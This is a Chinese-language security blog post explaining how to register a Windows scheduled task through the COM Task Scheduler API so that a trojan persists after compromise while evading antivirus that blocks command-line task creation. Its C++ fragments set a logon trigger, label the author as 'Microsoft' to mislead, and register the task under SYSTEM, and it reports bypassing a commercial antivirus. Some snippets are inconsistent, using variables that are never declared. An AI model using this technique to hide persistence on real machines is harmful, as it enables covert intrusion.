Drunkmars's Blog

使用api创建计划任务详解

字数统计: 1.9k阅读时长: 7 min
2021/11/08

本文将使用windows api创建计划任务绕过杀软。

基础知识

计划任务是系统的常见功能,利用任务计划功能,可以将任何脚本、程序或文档安排在某个最方便的时间运行。任务计划在每次系统启动的时候启动并在后台运行。

当我们需要在服务器上定时执行一些重复性的事件时使用的,可以通过计划任务程序来运行准备好的脚本、批处理文件夹、程序或命令,在某个特定的时间运行。

计划任务可以在计算机管理 -> 任务计划程序 -> 任务计划程序库中能够看到

image-20211108202411774

计划任务设置之后,就可以定时去执行计划任务设置的任务,那么这里我们不禁又想,能不能每次被控电脑启动的时候添加一个自启木马的计划任务来达到权限维持的作用呢?当然可以,但是这里我们能够想到通过计划任务进行权限维持,杀软肯定也早早知道了计划任务的这个功能,首先我们假设已经拿到了webshell能够命令执行添加计划任务,如下所示,这里ret=-1就是杀软拦截了命令的执行。

image-20211108204925944

可能这里还不是特别明显,这里我们假装已经上线了cs,然后再调用sc创建计划任务,肯定是会被杀软拦截的

image-20211108205006503

那咋办呢,那岂不是有杀软的情况下计划任务都执行不了了?师傅们稍安勿躁,今天就来探究一下怎样绕过杀软来添加计划任务。

初探

想要知其然,也要知其所以然,就要对敌人进行深入的了解,这里我们去msdn看一下Task Scheduler即计划任务到底是怎么解释的

About the Task Scheduler

The Task Scheduler enables you to automatically perform routine tasks on a chosen computer. Task Scheduler does this by monitoring whatever criteria you choose (referred to as triggers) and then executing the tasks when those criteria are met.

知道师傅们英文都不太好(其实是我自己看不懂英文),直接中文翻译走一波看看,计划任务能够执行的时间还挺多,确实是权限维持的一大利器

image-20211108210326910

我们随便打开一个计划任务来看一下,主要是有常规、触发器、操作、条件、设置几个菜单,但是这里的接口并不是按照这几个选项来命名的,这里一开始准备按照接口去找导致卡了半天

image-20211108211921664

首先找到注册信息接口,对应的是IRegistrationInfo interface即注册信息接口(这里没有英翻搞得我很难受),在这个接口下需要设置两个属性,一个是IRegistrationInfo::get_Author,另外一个则是 IRegistrationInfo::get_Description,前面属性对应的是创建者,后面属性对应的是计划任务程序的描述

image-20211108212539626

再就是ITaskDefinition interface即计划定义接口,这个接口主要是定义计划任务有哪几个组件,就是我们上面看到的诸如任务设置、触发器、注册信息等等,这个接口里面需要用到的有ITaskDefinition::get_SettingsITaskDefinition::get_ActionsITaskDefinition::get_Triggers,分别对应获取计划任务设置、计划任务组件、设置启动任务触发器的集合

image-20211108213345665

image-20211108213505371

ITriggerCollection interface为触发器收集接口,主要用到的属性有ITriggerCollection::Create,创建计划任务的触发器

image-20211108214112362

ITrigger interface为触发器接口,用到的属性有ITrigger::put_IdITrigger::get_StartBoundaryITrigger::put_EndBoundary,分别用来设置触发器的标识符、设置触发器的日期和时间、设置停用触发器的时间

image-20211108214312679

IExecAction interface为命令行动作接口,主要用到IExecAction::put_PathIExecAction::put_Arguments来设置可执行文件的路径以及和命令行关联的参数

image-20211108214722360

实现过程

首先梳理下思路,大体可以分为两个部分实现,首先需要进行初始化操作,再进行计划任务的创建。

我们需要初始化COM接口的环境,然后创建任务ITaskService并链接到任务服务,再从ITaskService里获取根任务Root Task Folde 的指针ITaskFolder指向新注册的服务。

当我们完成初始化的操作之后,首先创建任务定义对象来创建任务,然后对ITaskDefinition进行设置,使用 ITaskFolder 对象并利用任务定义对象 ITaskDefinition 的设置,注册任务计划

首先使用CoInitializeEx这个api来初始化COM接口

1
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);

然后创建任务服务对象

1
hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)(&m_lpITS));

再连接到任务服务

1
hr = m_lpITS->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());

获取Root Task Folder 的指针 ,这个指针指向的是新注册的任务

1
hr = m_lpITS->GetFolder(_bstr_t("\"), &m_lpRootFolder);

到这里我们第一大部分就已经实现,获取到了ITaskFolder指向了新注册的服务,再就是创建任务定义对象来创建任务的实现

首先我们判断是否存在了相同的计划任务,若存在则删除

1
Delete(lpszTaskName);

然后创建任务定义对象

1
2
ITaskDefinition *pTaskDefinition = NULL;
HRESULT hr = m_lpITS->NewTask(0, &pTaskDefinition);

设置注册信息与创建计划任务的信息,这里为了迷惑可以设置启动者为Microsoft

1
2
3
4
5
6
7
IRegistrationInfo *pRegInfo = NULL;
CComVariant variantAuthor(NULL);
variantAuthor = lpszAuthor;
hr = pTaskDefinition->get_RegistrationInfo(&pRegInfo);

hr = pRegInfo->put_Author(L"Microsoft");
pRegInfo->Release();

image-20211108221543381

创建计划任务设置与设置任务值

1
2
3
4
5
ITaskSettings* pSettings = NULL;
hr = pTask->get_Settings(&pSettings);

hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();

登入触发器

1
2
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->get_Triggers(&pTriggerCollection);

添加触发器,这里我设置为登录即触发,即开机自启运行来达到权限维持的作用

1
2
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);

image-20211108222407415

然后设置执行路径和参数

1
2
3
4
CComVariant variantProgramPath(NULL);
CComVariant variantParameters(NULL);
IExecAction *pExecAction = NULL;
hr = pAction->QueryInterface(IID_IExecAction, (PVOID *)(&pExecAction));

创建执行动作

1
2
IActionCollection *pActionCollect = NULL;
hr = pTaskDefinition->get_Actions(&pActionCollect);

创建执行操作

1
2
hr = pActionCollect->Create(TASK_ACTION_EXEC, &pAction);
pActionCollect->Release();

设置程序路径和参数

1
2
3
pExecAction->put_Path(variantProgramPath.bstrVal);
pExecAction->put_Arguments(variantParameters.bstrVal);
pExecAction->Release();

然后创建计划任务,这里注意一下第一个参数意思为创建并覆盖当前的计划任务,第四个参数以system权限启动,第六个参数为组激活,即TASK_LOGON_GROUP

1
2
3
4
5
6
7
8
hr = m_lpRootFolder->RegisterTaskDefinition(variantTaskName.bstrVal,
pTaskDefinition,
TASK_CREATE_OR_UPDATE,
_variant_t(L"system"),
_variant_t(),
TASK_LOGON_GROUP,
_variant_t(L""),
&pRegisteredTask);

这里可以加一个删除计划任务的函数,也可以不加,主要是看创建计划任务的用途是用来权限维持还是其他的作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
BOOL Delete(char* lpszTaskName)
{
if(NULL == m_lpRootFolder)
{
return FALSE;
}
CComVariant variantTaskName(NULL);
variantTaskName = lpszTaskName;
HRESULT hr = m_lpRootFolder->DeleteTask(variantTaskName.bstrVal, 0);
if (FAILED(hr))
{
return FALSE;
}
return TRUE;
}

实现效果

这里我为了方便看到效果,把所要创建的计划任务名称当成了参数传入

image-20211108223244110

首先在本机上试一下效果,这里我直接运行的话是不行的,需要管理员权限运行

image-20211108223459888

看一下效果,用管理员是可以创建成功的,我们再试试有杀软的环境会不会拦截

2

再放到有某数字杀软的情况下测试,首先直接执行sc命令是被拦截的,然后使用我们自己的exe添加计划任务成功

3

CATALOG
  1. 1. 基础知识
  2. 2. 初探
    1. 2.1. About the Task Scheduler
  3. 3. 实现过程
  4. 4. 实现效果